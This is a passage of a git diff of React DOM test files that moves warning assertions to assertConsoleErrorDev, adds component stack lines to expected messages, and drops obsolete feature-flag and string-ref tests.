       root = ReactDOMClient.createRoot(container);
-      await expect(async () => {
-        await expect(
-          act(() => {
-            root.render(
-              <select onChange={noop} defaultValue={new TemporalLike()}>
-                <option value="2020-01-01">like a Temporal.PlainDate</option>
-                <option value="monkey">A monkey!</option>
-                <option value="giraffe">A giraffe!</option>
-              </select>,
-            );
-          }),
-        ).rejects.toThrowError(new TypeError('prod message'));
-      }).toErrorDev([
+      await expect(
+        act(() => {
+          root.render(
+            <select onChange={noop} defaultValue={new TemporalLike()}>
+              <option value="2020-01-01">like a Temporal.PlainDate</option>
+              <option value="monkey">A monkey!</option>
+              <option value="giraffe">A giraffe!</option>
+            </select>,
+          );
+        }),
+      ).rejects.toThrowError(new TypeError('prod message'));
+      assertConsoleErrorDev([
         'Form field values (value, checked, defaultValue, or defaultChecked props)' +
           ' must be strings, not TemporalLike. ' +
-          'This value must be coerced to a string before using it here.',
+          'This value must be coerced to a string before using it here.\n' +
+          '    in select (at **)',
         'Form field values (value, checked, defaultValue, or defaultChecked props)' +
           ' must be strings, not TemporalLike. ' +
-          'This value must be coerced to a string before using it here.',
+          'This value must be coerced to a string before using it here.\n' +
+          '    in select (at **)',
       ]);
     });
 
@@ -1593,25 +1634,26 @@ describe('ReactDOMSelect', () => {
 
       container = document.createElement('div');
       root = ReactDOMClient.createRoot(container);
-      await expect(async () => {
-        await expect(
-          act(() => {
-            root.render(
-              <select onChange={noop} value={new TemporalLike()}>
-                <option value={new TemporalLike()}>
-                  like a Temporal.PlainDate
-                </option>
-                <option value="monkey">A monkey!</option>
-                <option value="giraffe">A giraffe!</option>
-              </select>,
-            );
-          }),
-        ).rejects.toThrowError(new TypeError('prod message'));
-      }).toErrorDev([
+      await expect(
+        act(() => {
+          root.render(
+            <select onChange={noop} value={new TemporalLike()}>
+              <option value={new TemporalLike()}>
+                like a Temporal.PlainDate
+              </option>
+              <option value="monkey">A monkey!</option>
+              <option value="giraffe">A giraffe!</option>
+            </select>,
+          );
+        }),
+      ).rejects.toThrowError(new TypeError('prod message'));
+      assertConsoleErrorDev([
         'The provided `value` attribute is an unsupported type TemporalLike.' +
-          ' This value must be coerced to a string before using it here.',
+          ' This value must be coerced to a string before using it here.\n' +
+          '    in option (at **)',
         'The provided `value` attribute is an unsupported type TemporalLike.' +
-          ' This value must be coerced to a string before using it here.',
+          ' This value must be coerced to a string before using it here.\n' +
+          '    in option (at **)',
       ]);
     });
 
@@ -1683,85 +1725,84 @@ describe('ReactDOMSelect', () => {
     it('should warn about missing onChange if value is false', async () => {
       const container = document.createElement('div');
       const root = ReactDOMClient.createRoot(container);
-      await expect(async () => {
-        await act(() => {
-          root.render(
-            <select value={false}>
-              <option value="monkey">A monkey!</option>
-              <option value="giraffe">A giraffe!</option>
-              <option value="gorilla">A gorilla!</option>
-            </select>,
-          );
-        });
-      }).toErrorDev(
+      await act(() => {
+        root.render(
+          <select value={false}>
+            <option value="monkey">A monkey!</option>
+            <option value="giraffe">A giraffe!</option>
+            <option value="gorilla">A gorilla!</option>
+          </select>,
+        );
+      });
+      assertConsoleErrorDev([
         'You provided a `value` prop to a form ' +
           'field without an `onChange` handler. This will render a read-only ' +
           'field. If the field should be mutable use `defaultValue`. ' +
-          'Otherwise, set `onChange`.',
-      );
+          'Otherwise, set `onChange`.\n    in select (at **)',
+      ]);
     });
 
     it('should warn about missing onChange if value is 0', async () => {
       const container = document.createElement('div');
       const root = ReactDOMClient.createRoot(container);
-      await expect(async () => {
-        await act(() => {
-          root.render(
-            <select value={0}>
-              <option value="monkey">A monkey!</option>
-              <option value="giraffe">A giraffe!</option>
-              <option value="gorilla">A gorilla!</option>
-            </select>,
-          );
-        });
-      }).toErrorDev(
+      await act(() => {
+        root.render(
+          <select value={0}>
+            <option value="monkey">A monkey!</option>
+            <option value="giraffe">A giraffe!</option>
+            <option value="gorilla">A gorilla!</option>
+          </select>,
+        );
+      });
+      assertConsoleErrorDev([
         'You provided a `value` prop to a form ' +
           'field without an `onChange` handler. This will render a read-only ' +
           'field. If the field should be mutable use `defaultValue`. ' +
-          'Otherwise, set `onChange`.',
-      );
+          'Otherwise, set `onChange`.\n' +
+          '    in select (at **)',
+      ]);
     });
 
     it('should warn about missing onChange if value is "0"', async () => {
       const container = document.createElement('div');
       const root = ReactDOMClient.createRoot(container);
-      await expect(async () => {
-        await act(() => {
-          root.render(
-            <select value="0">
-              <option value="monkey">A monkey!</option>
-              <option value="giraffe">A giraffe!</option>
-              <option value="gorilla">A gorilla!</option>
-            </select>,
-          );
-        });
-      }).toErrorDev(
+      await act(() => {
+        root.render(
+          <select value="0">
+            <option value="monkey">A monkey!</option>
+            <option value="giraffe">A giraffe!</option>
+            <option value="gorilla">A gorilla!</option>
+          </select>,
+        );
+      });
+      assertConsoleErrorDev([
         'You provided a `value` prop to a form ' +
           'field without an `onChange` handler. This will render a read-only ' +
           'field. If the field should be mutable use `defaultValue`. ' +
-          'Otherwise, set `onChange`.',
-      );
+          'Otherwise, set `onChange`.\n' +
+          '    in select (at **)',
+      ]);
     });
 
     it('should warn about missing onChange if value is ""', async () => {
       const container = document.createElement('div');
       const root = ReactDOMClient.createRoot(container);
-      await expect(async () => {
-        await act(() => {
-          root.render(
-            <select value="">
-              <option value="monkey">A monkey!</option>
-              <option value="giraffe">A giraffe!</option>
-              <option value="gorilla">A gorilla!</option>
-            </select>,
-          );
-        });
-      }).toErrorDev(
+      await act(() => {
+        root.render(
+          <select value="">
+            <option value="monkey">A monkey!</option>
+            <option value="giraffe">A giraffe!</option>
+            <option value="gorilla">A gorilla!</option>
+          </select>,
+        );
+      });
+      assertConsoleErrorDev([
         'You provided a `value` prop to a form ' +
           'field without an `onChange` handler. This will render a read-only ' +
           'field. If the field should be mutable use `defaultValue`. ' +
-          'Otherwise, set `onChange`.',
-      );
+          'Otherwise, set `onChange`.\n' +
+          '    in select (at **)',
+      ]);
     });
   });
 });
diff --git a/packages/react-dom/src/__tests__/ReactDOMServerIntegrationAttributes-test.js b/packages/react-dom/src/__tests__/ReactDOMServerIntegrationAttributes-test.js
index 5d798e3f58df..be5ff44b8cd1 100644
--- a/packages/react-dom/src/__tests__/ReactDOMServerIntegrationAttributes-test.js
+++ b/packages/react-dom/src/__tests__/ReactDOMServerIntegrationAttributes-test.js
@@ -11,12 +11,12 @@
 'use strict';
 
 const ReactDOMServerIntegrationUtils = require('./utils/ReactDOMServerIntegrationTestUtils');
-const ReactFeatureFlags = require('shared/ReactFeatureFlags');
 
 let React;
 let ReactDOM;
 let ReactDOMClient;
 let ReactDOMServer;
+let assertConsoleErrorDev;
 
 function initModules() {
   // Reset warning cache.
@@ -25,6 +25,7 @@ function initModules() {
   ReactDOM = require('react-dom');
   ReactDOMClient = require('react-dom/client');
   ReactDOMServer = require('react-dom/server');
+  assertConsoleErrorDev = require('internal-test-utils').assertConsoleErrorDev;
 
   // Make them available to the helpers.
   return {
@@ -40,6 +41,13 @@ describe('ReactDOMServerIntegration', () => {
   beforeEach(() => {
     resetModules();
   });
+  afterEach(() => {
+    // TODO: This is a hack because expectErrors does not restore mock,
+    // however fixing it requires a major refactor to all these tests.
+    if (console.error.mockClear) {
+      console.error.mockRestore();
+    }
+  });
 
   describe('property to attribute mapping', function () {
     describe('string properties', function () {
@@ -54,13 +62,8 @@ describe('ReactDOMServerIntegration', () => {
       });
 
       itRenders('empty src on img', async render => {
-        const e = await render(
-          <img src="" />,
-          ReactFeatureFlags.enableFilterEmptyStringAttributesDOM ? 1 : 0,
-        );
-        expect(e.getAttribute('src')).toBe(
-          ReactFeatureFlags.enableFilterEmptyStringAttributesDOM ? null : '',
-        );
+        const e = await render(<img src="" />, 1);
+        expect(e.getAttribute('src')).toBe(null);
       });
 
       itRenders('empty href on anchor', async render => {
@@ -68,21 +71,24 @@ describe('ReactDOMServerIntegration', () => {
         expect(e.getAttribute('href')).toBe('');
       });
 
-      itRenders('empty href on other tags', async render => {
+      itRenders('empty href on base tags as null', async render => {
+        const e = await render(<base href="" />, 1);
+        expect(e.getAttribute('href')).toBe(null);
+      });
+
+      itRenders('empty href on area tags as null', async render => {
         const e = await render(
-          // <link href="" /> would be more sensible.
-          // However, that results in a hydration warning as well.
-          // Our test helpers do not support different error counts for initial
-          // server render and hydration.
-          // The number of errors on the server need to be equal to the number of
-          // errors during hydration.
-          // So we use a <div> instead.
-          <div href="" />,
-          ReactFeatureFlags.enableFilterEmptyStringAttributesDOM ? 1 : 0,
-        );
-        expect(e.getAttribute('href')).toBe(
-          ReactFeatureFlags.enableFilterEmptyStringAttributesDOM ? null : '',
+          <map>
+            <area alt="" href="" />
+          </map>,
+          1,
         );
+        expect(e.firstChild.getAttribute('href')).toBe(null);
+      });
+
+      itRenders('empty href on link tags as null', async render => {
+        const e = await render(<link rel="stylesheet" href="" />, 1);
+        expect(e.getAttribute('href')).toBe(null);
       });
 
       itRenders('no string prop with true value', async render => {
@@ -636,14 +642,15 @@ describe('ReactDOMServerIntegration', () => {
         // However this particular warning fires only when creating
         // DOM nodes on the client side. We force it to fire early
         // so that it gets deduplicated later, and doesn't fail the test.
-        expect(() => {
-          ReactDOM.flushSync(() => {
-            const root = ReactDOMClient.createRoot(
-              document.createElement('div'),
-            );
-            root.render(<nonstandard />);
-          });
-        }).toErrorDev('The tag <nonstandard> is unrecognized in this browser.');
+        ReactDOM.flushSync(() => {
+          const root = ReactDOMClient.createRoot(document.createElement('div'));
+          root.render(<nonstandard />);
+        });
+        assertConsoleErrorDev([
+          'The tag <nonstandard> is unrecognized in this browser. ' +
+            'If you meant to render a React component, start its name with an uppercase letter.\n' +
+            '    in nonstandard (at **)',
+        ]);
 
         const e = await render(<nonstandard foo="bar" />);
         expect(e.getAttribute('foo')).toBe('bar');
diff --git a/packages/react-dom/src/__tests__/ReactDOMServerIntegrationElements-test.js b/packages/react-dom/src/__tests__/ReactDOMServerIntegrationElements-test.js
index 258f9591f2d5..04475485eb87 100644
--- a/packages/react-dom/src/__tests__/ReactDOMServerIntegrationElements-test.js
+++ b/packages/react-dom/src/__tests__/ReactDOMServerIntegrationElements-test.js
@@ -18,6 +18,7 @@ let React;
 let ReactDOM;
 let ReactDOMClient;
 let ReactDOMServer;
+let assertConsoleErrorDev;
 
 function initModules() {
   jest.resetModules();
@@ -25,6 +26,7 @@ function initModules() {
   ReactDOM = require('react-dom');
   ReactDOMClient = require('react-dom/client');
   ReactDOMServer = require('react-dom/server');
+  assertConsoleErrorDev = require('internal-test-utils').assertConsoleErrorDev;
 
   // Make them available to the helpers.
   return {
@@ -48,6 +50,14 @@ describe('ReactDOMServerIntegration', () => {
     resetModules();
   });
 
+  afterEach(() => {
+    // TODO: This is a hack because expectErrors does not restore mock,
+    // however fixing it requires a major refactor to all these tests.
+    if (console.error.mockClear) {
+      console.error.mockRestore();
+    }
+  });
+
   describe('elements and children', function () {
     function expectNode(node, type, value) {
       expect(node).not.toBe(null);
@@ -134,15 +144,15 @@ describe('ReactDOMServerIntegration', () => {
         // However this particular warning fires only when creating
         // DOM nodes on the client side. We force it to fire early
         // so that it gets deduplicated later, and doesn't fail the test.
-        expect(() => {
-          ReactDOM.flushSync(() => {
-            const root = ReactDOMClient.createRoot(
-              document.createElement('div'),
-            );
-
-            root.render(<nonstandard />);
-          });
-        }).toErrorDev('The tag <nonstandard> is unrecognized in this browser.');
+        ReactDOM.flushSync(() => {
+          const root = ReactDOMClient.createRoot(document.createElement('div'));
+          root.render(<nonstandard />);
+        });
+        assertConsoleErrorDev([
+          'The tag <nonstandard> is unrecognized in this browser. ' +
+            'If you meant to render a React component, start its name with an uppercase letter.\n' +
+            '    in nonstandard (at **)',
+        ]);
 
         const e = await render(<nonstandard>Text</nonstandard>);
         expect(e.tagName).toBe('NONSTANDARD');
@@ -744,7 +754,7 @@ describe('ReactDOMServerIntegration', () => {
         'a div with a single child surrounded by whitespace',
         async render => {
           // prettier-ignore
-          const e = await render(<div id="parent">  <div id="child" />   </div>); // eslint-disable-line no-multi-spaces
+          const e = await render(<div id="parent">  <div id="child" />   </div>);
           expect(e.childNodes.length).toBe(3);
           const textNode1 = e.childNodes[0];
           const child = e.childNodes[1];
@@ -984,16 +994,7 @@ describe('ReactDOMServerIntegration', () => {
         'object',
         async render => {
           let EmptyComponent = {};
-          expect(() => {
-            EmptyComponent = <EmptyComponent />;
-          }).toErrorDev(
-            'React.jsx: type is invalid -- expected a string ' +
-              '(for built-in components) or a class/function (for composite ' +
-              'components) but got: object. You likely forgot to export your ' +
-              "component from the file it's defined in, or you might have mixed up " +
-              'default and named imports.',
-            {withoutStack: true},
-          );
+          EmptyComponent = <EmptyComponent />;
           await render(EmptyComponent);
         },
         'Element type is invalid: expected a string (for built-in components) or a class/function ' +
@@ -1008,14 +1009,7 @@ describe('ReactDOMServerIntegration', () => {
         'null',
         async render => {
           let NullComponent = null;
-          expect(() => {
-            NullComponent = <NullComponent />;
-          }).toErrorDev(
-            'React.jsx: type is invalid -- expected a string ' +
-              '(for built-in components) or a class/function (for composite ' +
-              'components) but got: null.',
-            {withoutStack: true},
-          );
+          NullComponent = <NullComponent />;
           await render(NullComponent);
         },
         'Element type is invalid: expected a string (for built-in components) or a class/function ' +
@@ -1026,17 +1020,7 @@ describe('ReactDOMServerIntegration', () => {
         'undefined',
         async render => {
           let UndefinedComponent = undefined;
-          expect(() => {
-            UndefinedComponent = <UndefinedComponent />;
-          }).toErrorDev(
-            'React.jsx: type is invalid -- expected a string ' +
-              '(for built-in components) or a class/function (for composite ' +
-              'components) but got: undefined. You likely forgot to export your ' +
-              "component from the file it's defined in, or you might have mixed up " +
-              'default and named imports.',
-            {withoutStack: true},
-          );
-
+          UndefinedComponent = <UndefinedComponent />;
           await render(UndefinedComponent);
         },
         'Element type is invalid: expected a string (for built-in components) or a class/function ' +
diff --git a/packages/react-dom/src/__tests__/ReactDOMServerIntegrationLegacyContext-test.js b/packages/react-dom/src/__tests__/ReactDOMServerIntegrationLegacyContext-test.js
index c28bf2d8e4e2..3fafff04170b 100644
--- a/packages/react-dom/src/__tests__/ReactDOMServerIntegrationLegacyContext-test.js
+++ b/packages/react-dom/src/__tests__/ReactDOMServerIntegrationLegacyContext-test.js
@@ -16,6 +16,7 @@ let PropTypes;
 let React;
 let ReactDOMClient;
 let ReactDOMServer;
+let assertConsoleErrorDev;
 
 function initModules() {
   // Reset warning cache.
@@ -24,6 +25,7 @@ function initModules() {
   React = require('react');
   ReactDOMClient = require('react-dom/client');
   ReactDOMServer = require('react-dom/server');
+  assertConsoleErrorDev = require('internal-test-utils').assertConsoleErrorDev;
 
   // Make them available to the helpers.
   return {
@@ -43,6 +45,13 @@ describe('ReactDOMServerIntegration', () => {
   beforeEach(() => {
     resetModules();
   });
+  afterEach(() => {
+    // TODO: This is a hack because expectErrors does not restore mock,
+    // however fixing it requires a major refactor to all these tests.
+    if (console.error.mockClear) {
+      console.error.mockRestore();
+    }
+  });
 
   describe('legacy context', function () {
     // The `itRenders` test abstraction doesn't work with @gate so we have
@@ -80,11 +89,15 @@ describe('ReactDOMServerIntegration', () => {
         <PurpleContext>
           <ClassChildWithContext />
         </PurpleContext>,
+        2,
       );
       expect(e.textContent).toBe('purple');
     });
 
     itRenders('stateless child with context', async render => {
+      if (gate(flags => flags.disableLegacyContextForFunctionComponents)) {
+        return;
+      }
       function FunctionChildWithContext(props, context) {
         return <div>{context.text}</div>;
       }
@@ -94,6 +107,7 @@ describe('ReactDOMServerIntegration', () => {
         <PurpleContext>
           <FunctionChildWithContext />
         </PurpleContext>,
+        2,
       );
       expect(e.textContent).toBe('purple');
     });
@@ -110,11 +124,15 @@ describe('ReactDOMServerIntegration', () => {
         <PurpleContext>
           <ClassChildWithoutContext />
         </PurpleContext>,
+        1,
       );
       expect(e.textContent).toBe('');
     });
 
     itRenders('stateless child without context', async render => {
+      if (gate(flags => flags.disableLegacyContextForFunctionComponents)) {
+        return;
+      }
       function FunctionChildWithoutContext(props, context) {
         // this should render blank; context isn't passed to this component.
         return <div>{context.text}</div>;
@@ -124,6 +142,7 @@ describe('ReactDOMServerIntegration', () => {
         <PurpleContext>
           <FunctionChildWithoutContext />
         </PurpleContext>,
+        1,
       );
       expect(e.textContent).toBe('');
     });
@@ -141,11 +160,15 @@ describe('ReactDOMServerIntegration', () => {
         <PurpleContext>
           <ClassChildWithWrongContext />
         </PurpleContext>,
+        2,
       );
       expect(e.textContent).toBe('');
     });
 
     itRenders('stateless child with wrong context', async render => {
+      if (gate(flags => flags.disableLegacyContextForFunctionComponents)) {
+        return;
+      }
       function FunctionChildWithWrongContext(props, context) {
         // this should render blank; context.text isn't passed to this component.
         return <div id="statelessWrongChild">{context.text}</div>;
@@ -158,11 +181,15 @@ describe('ReactDOMServerIntegration', () => {
         <PurpleContext>
           <FunctionChildWithWrongContext />
         </PurpleContext>,
+        2,
       );
       expect(e.textContent).toBe('');
     });
 
     itRenders('with context passed through to a grandchild', async render => {
+      if (gate(flags => flags.disableLegacyContextForFunctionComponents)) {
+        return;
+      }
       function Grandchild(props, context) {
         return <div>{context.text}</div>;
       }
@@ -174,11 +201,15 @@ describe('ReactDOMServerIntegration', () => {
         <PurpleContext>
           <Child />
         </PurpleContext>,
+        2,
       );
       expect(e.textContent).toBe('purple');
     });
 
     itRenders('a child context overriding a parent context', async render => {
+      if (gate(flags => flags.disableLegacyContextForFunctionComponents)) {
+        return;
+      }
       const Grandchild = (props, context) => {
         return <div>{context.text}</div>;
       };
@@ -190,11 +221,15 @@ describe('ReactDOMServerIntegration', () => {
             <Grandchild />
           </RedContext>
         </PurpleContext>,
+        2,
       );
       expect(e.textContent).toBe('red');
     });
 
     itRenders('a child context merged with a parent context', async render => {
+      if (gate(flags => flags.disableLegacyContextForFunctionComponents)) {
+        return;
+      }
       class Parent extends React.Component {
         getChildContext() {
           return {text1: 'purple'};
@@ -228,7 +263,7 @@ describe('ReactDOMServerIntegration', () => {
         text2: PropTypes.string,
       };
 
-      const e = await render(<Parent />);
+      const e = await render(<Parent />, 3);
       expect(e.querySelector('#first').textContent).toBe('purple');
       expect(e.querySelector('#second').textContent).toBe('red');
     });
@@ -236,6 +271,9 @@ describe('ReactDOMServerIntegration', () => {
     itRenders(
       'with a call to componentWillMount before getChildContext',
       async render => {
+        if (gate(flags => flags.disableLegacyContextForFunctionComponents)) {
+          return;
+        }
         class WillMountContext extends React.Component {
           getChildContext() {
             return {text: this.state.text};
@@ -254,7 +292,7 @@ describe('ReactDOMServerIntegration', () => {
         };
         Child.contextTypes = {text: PropTypes.string};
 
-        const e = await render(<WillMountContext />);
+        const e = await render(<WillMountContext />, 2);
         expect(e.textContent).toBe('foo');
       },
     );
@@ -262,6 +300,9 @@ describe('ReactDOMServerIntegration', () => {
     itRenders(
       'if getChildContext exists but childContextTypes is missing with a warning',
       async render => {
+        if (gate(flags => flags.disableLegacyContextForFunctionComponents)) {
+          return;
+        }
         function HopefulChild(props, context) {
           return context.foo || 'nope';
         }
@@ -278,7 +319,8 @@ describe('ReactDOMServerIntegration', () => {
         }
         const e = await render(
           <ForgetfulParent />,
-          render === clientRenderOnBadMarkup ? 2 : 1,
+          // Some warning is not de-duped and logged again on the client retry render.
+          render === clientRenderOnBadMarkup ? 3 : 2,
         );
         expect(e.textContent).toBe('nope');
       },
@@ -311,12 +353,11 @@ describe('ReactDOMServerIntegration', () => {
         }
       }
 
-      expect(() => {
-        ReactDOMServer.renderToString(<MyComponent />);
-      }).toErrorDev(
+      ReactDOMServer.renderToString(<MyComponent />);
+      assertConsoleErrorDev([
         'MyComponent.getChildContext(): childContextTypes must be defined in order to use getChildContext().\n' +
           '    in MyComponent (at **)',
-      );
+      ]);
     });
   });
 });
diff --git a/packages/react-dom/src/__tests__/ReactDOMServerIntegrationLegacyContextDisabled-test.internal.js b/packages/react-dom/src/__tests__/ReactDOMServerIntegrationLegacyContextDisabled-test.internal.js
index 40ae0b682231..2202c8bf86e4 100644
--- a/packages/react-dom/src/__tests__/ReactDOMServerIntegrationLegacyContextDisabled-test.internal.js
+++ b/packages/react-dom/src/__tests__/ReactDOMServerIntegrationLegacyContextDisabled-test.internal.js
@@ -34,8 +34,7 @@ function initModules() {
   };
 }
 
-const {resetModules, itRenders, clientRenderOnBadMarkup} =
-  ReactDOMServerIntegrationUtils(initModules);
+const {resetModules, itRenders} = ReactDOMServerIntegrationUtils(initModules);
 
 function formatValue(val) {
   if (val === null) {
@@ -105,7 +104,7 @@ describe('ReactDOMServerIntegrationLegacyContextDisabled', () => {
           <RegularFn />
         </span>
       </LegacyProvider>,
-      render === clientRenderOnBadMarkup ? 4 : 3,
+      3,
     );
     expect(e.textContent).toBe('{}undefinedundefined');
     expect(lifecycleContextLog).toEqual([]);
diff --git a/packages/react-dom/src/__tests__/ReactDOMServerIntegrationModes-test.js b/packages/react-dom/src/__tests__/ReactDOMServerIntegrationModes-test.js
index 9dbac22704d1..5770bd1e20c9 100644
--- a/packages/react-dom/src/__tests__/ReactDOMServerIntegrationModes-test.js
+++ b/packages/react-dom/src/__tests__/ReactDOMServerIntegrationModes-test.js
@@ -37,56 +37,6 @@ describe('ReactDOMServerIntegration', () => {
     resetModules();
   });
 
-  // Test pragmas don't support itRenders abstraction
-  if (
-    __EXPERIMENTAL__ &&
-    require('shared/ReactFeatureFlags').enableDebugTracing
-  ) {
-    describe('React.unstable_DebugTracingMode', () => {
-      beforeEach(() => {
-        spyOnDevAndProd(console, 'log');
-      });
-
-      itRenders('with one child', async render => {
-        const e = await render(
-          <React.unstable_DebugTracingMode>
-            <div>text1</div>
-          </React.unstable_DebugTracingMode>,
-        );
-        const parent = e.parentNode;
-        expect(parent.childNodes[0].tagName).toBe('DIV');
-      });
-
-      itRenders('mode with several children', async render => {
-        const Header = props => {
-          return <p>header</p>;
-        };
-        const Footer = props => {
-          return (
-            <React.unstable_DebugTracingMode>
-              <h2>footer</h2>
-              <h3>about</h3>
-            </React.unstable_DebugTracingMode>
-          );
-        };
-        const e = await render(
-          <React.unstable_DebugTracingMode>
-            <div>text1</div>
-            <span>text2</span>
-            <Header />
-            <Footer />
-          </React.unstable_DebugTracingMode>,
-        );
-        const parent = e.parentNode;
-        expect(parent.childNodes[0].tagName).toBe('DIV');
-        expect(parent.childNodes[1].tagName).toBe('SPAN');
-        expect(parent.childNodes[2].tagName).toBe('P');
-        expect(parent.childNodes[3].tagName).toBe('H2');
-        expect(parent.childNodes[4].tagName).toBe('H3');
-      });
-    });
-  }
-
   describe('React.StrictMode', () => {
     itRenders('a strict mode with one child', async render => {
       const e = await render(
diff --git a/packages/react-dom/src/__tests__/ReactDOMServerIntegrationNewContext-test.js b/packages/react-dom/src/__tests__/ReactDOMServerIntegrationNewContext-test.js
index 24009f1eda47..213e4ed138c9 100644
--- a/packages/react-dom/src/__tests__/ReactDOMServerIntegrationNewContext-test.js
+++ b/packages/react-dom/src/__tests__/ReactDOMServerIntegrationNewContext-test.js
@@ -295,12 +295,6 @@ describe('ReactDOMServerIntegration', () => {
     });
 
     itRenders('should treat Context as Context.Provider', async render => {
-      // The `itRenders` helpers don't work with the gate pragma, so we have to do
-      // this instead.
-      if (gate(flags => !flags.enableRenderableContext)) {
-        return;
-      }
-
       const Theme = React.createContext('dark');
       const Language = React.createContext('french');
 
diff --git a/packages/react-dom/src/__tests__/ReactDOMServerIntegrationReconnecting-test.js b/packages/react-dom/src/__tests__/ReactDOMServerIntegrationReconnecting-test.js
index a58f7f8529f9..3466b6725895 100644
--- a/packages/react-dom/src/__tests__/ReactDOMServerIntegrationReconnecting-test.js
+++ b/packages/react-dom/src/__tests__/ReactDOMServerIntegrationReconnecting-test.js
@@ -310,13 +310,13 @@ describe('ReactDOMServerIntegration', () => {
             <div id="child2" />
           </div>,
           // prettier-ignore
-          <div id="parent"><div id="child1" />      <div id="child2" /></div>, // eslint-disable-line no-multi-spaces
+          <div id="parent"><div id="child1" />      <div id="child2" /></div>,
         ));
 
       it('should error reconnecting a div with children separated by different whitespace on the server', () =>
         expectMarkupMismatch(
           // prettier-ignore
-          <div id="parent"><div id="child1" />      <div id="child2" /></div>, // eslint-disable-line no-multi-spaces
+          <div id="parent"><div id="child1" />      <div id="child2" /></div>,
           <div id="parent">
             <div id="child1" />
             <div id="child2" />
@@ -329,7 +329,7 @@ describe('ReactDOMServerIntegration', () => {
             <div id="child1" /> <div id="child2" />
           </div>,
           // prettier-ignore
-          <div id="parent"><div id="child1" />      <div id="child2" /></div>, // eslint-disable-line no-multi-spaces
+          <div id="parent"><div id="child1" />      <div id="child2" /></div>,
         ));
 
       it('can distinguish an empty component from a dom node', () =>
diff --git a/packages/react-dom/src/__tests__/ReactDOMServerIntegrationRefs-test.js b/packages/react-dom/src/__tests__/ReactDOMServerIntegrationRefs-test.js
index b8d1a0716ae5..9094af348472 100644
--- a/packages/react-dom/src/__tests__/ReactDOMServerIntegrationRefs-test.js
+++ b/packages/react-dom/src/__tests__/ReactDOMServerIntegrationRefs-test.js
@@ -29,12 +29,8 @@ function initModules() {
   };
 }
 
-const {
-  resetModules,
-  asyncReactDOMRender,
-  clientRenderOnServerString,
-  expectMarkupMatch,
-} = ReactDOMServerIntegrationUtils(initModules);
+const {resetModules, clientRenderOnServerString, expectMarkupMatch} =
+  ReactDOMServerIntegrationUtils(initModules);
 
 describe('ReactDOMServerIntegration', () => {
   beforeEach(() => {
@@ -75,36 +71,6 @@ describe('ReactDOMServerIntegration', () => {
       expect(refElement).not.toBe(null);
       expect(refElement).toBe(e);
     });
-
-    // @gate !disableStringRefs
-    it('should have string refs on client when rendered over server markup', async () => {
-      class RefsComponent extends React.Component {
-        render() {
-          return <div ref="myDiv" />;
-        }
-      }
-
-      const markup = ReactDOMServer.renderToString(<RefsComponent />);
-      const root = document.createElement('div');
-      root.innerHTML = markup;
-      let component = null;
-      resetModules();
-      await expect(async () => {
-        await asyncReactDOMRender(
-          <RefsComponent ref={e => (component = e)} />,
-          root,
-          true,
-        );
-      }).toErrorDev([
-        'Component "RefsComponent" contains the string ref "myDiv". ' +
-          'Support for string refs will be removed in a future major release. ' +
-          'We recommend using useRef() or createRef() instead. ' +
-          'Learn more about using refs safely here: https://react.dev/link/strict-mode-string-ref\n' +
-          '    in div (at **)\n' +
-          '    in RefsComponent (at **)',
-      ]);
-      expect(component.refs.myDiv).toBe(root.firstChild);
-    });
   });
 
   it('should forward refs', async () => {
diff --git a/packages/react-dom/src/__tests__/ReactDOMServerIntegrationUntrustedURL-test.js b/packages/react-dom/src/__tests__/ReactDOMServerIntegrationUntrustedURL-test.js
index 384e8beb0b21..27acedafbf30 100644
--- a/packages/react-dom/src/__tests__/ReactDOMServerIntegrationUntrustedURL-test.js
+++ b/packages/react-dom/src/__tests__/ReactDOMServerIntegrationUntrustedURL-test.js
@@ -41,6 +41,7 @@ describe('ReactDOMServerIntegration - Untrusted URLs', () => {
   const {
     resetModules,
     itRenders,
+    clientCleanRender,
     clientRenderOnBadMarkup,
     clientRenderOnServerString,
   } = ReactDOMServerIntegrationUtils(initModules);
@@ -141,6 +142,11 @@ describe('ReactDOMServerIntegration - Untrusted URLs', () => {
   });
 
   itRenders('a javascript protocol frame src', async render => {
+    if (render === clientCleanRender || render === clientRenderOnServerString) {
+      // React does not hydrate framesets properly because the default hydration scope
+      // is the body
+      return;
+    }
     const e = await render(
       <html>
         <head />
@@ -206,6 +212,11 @@ describe('ReactDOMServerIntegration - Untrusted URLs', () => {
       expectedToStringCalls *= 2;
     }
 
+    if (gate('enableTrustedTypesIntegration') && render === clientCleanRender) {
+      // Trusted types does another toString.
+      expectedToStringCalls += 1;
+    }
+
     let toStringCalls = 0;
     const firstIsSafe = {
       toString() {
diff --git a/packages/react-dom/src/__tests__/ReactDOMServerIntegrationUserInteraction-test.js b/packages/react-dom/src/__tests__/ReactDOMServerIntegrationUserInteraction-test.js
index 1cae7f15b0b4..70109949baf1 100644
--- a/packages/react-dom/src/__tests__/ReactDOMServerIntegrationUserInteraction-test.js
+++ b/packages/react-dom/src/__tests__/ReactDOMServerIntegrationUserInteraction-test.js
@@ -52,6 +52,12 @@ describe('ReactDOMServerIntegrationUserInteraction', () => {
         }
         this.setState({value: event.target.value});
       }
+      componentDidMount() {
+        if (this.props.cascade) {
+          // Trigger a cascading render immediately upon hydration which rerenders the input.
+          this.setState({cascade: true});
+        }
+      }
       render() {
         return (
           <input
@@ -73,6 +79,12 @@ describe('ReactDOMServerIntegrationUserInteraction', () => {
         }
         this.setState({value: event.target.value});
       }
+      componentDidMount() {
+        if (this.props.cascade) {
+          // Trigger a cascading render immediately upon hydration which rerenders the textarea.
+          this.setState({cascade: true});
+        }
+      }
       render() {
         return (
           <textarea
@@ -93,6 +105,12 @@ describe('ReactDOMServerIntegrationUserInteraction', () => {
         }
         this.setState({value: event.target.checked});
       }
+      componentDidMount() {
+        if (this.props.cascade) {
+          // Trigger a cascading render immediately upon hydration which rerenders the checkbox.
+          this.setState({cascade: true});
+        }
+      }
       render() {
         return (
           <input
@@ -114,6 +132,12 @@ describe('ReactDOMServerIntegrationUserInteraction', () => {
         }
         this.setState({value: event.target.value});
       }
+      componentDidMount() {
+        if (this.props.cascade) {
+          // Trigger a cascading render immediately upon hydration which rerenders the select.
+          this.setState({cascade: true});
+        }
+      }
       render() {
         return (
           <select
@@ -278,10 +302,9 @@ describe('ReactDOMServerIntegrationUserInteraction', () => {
       await testUserInteractionBeforeClientRender(
         <ControlledInput onChange={() => changeCount++} />,
       );
-      // note that there's a strong argument to be made that the DOM revival
-      // algorithm should notice that the user has changed the value and fire
-      // an onChange. however, it does not now, so that's what this tests.
-      expect(changeCount).toBe(0);
+      expect(changeCount).toBe(
+        gate(flags => flags.enableHydrationChangeEvent) ? 1 : 0,
+      );
     });
 
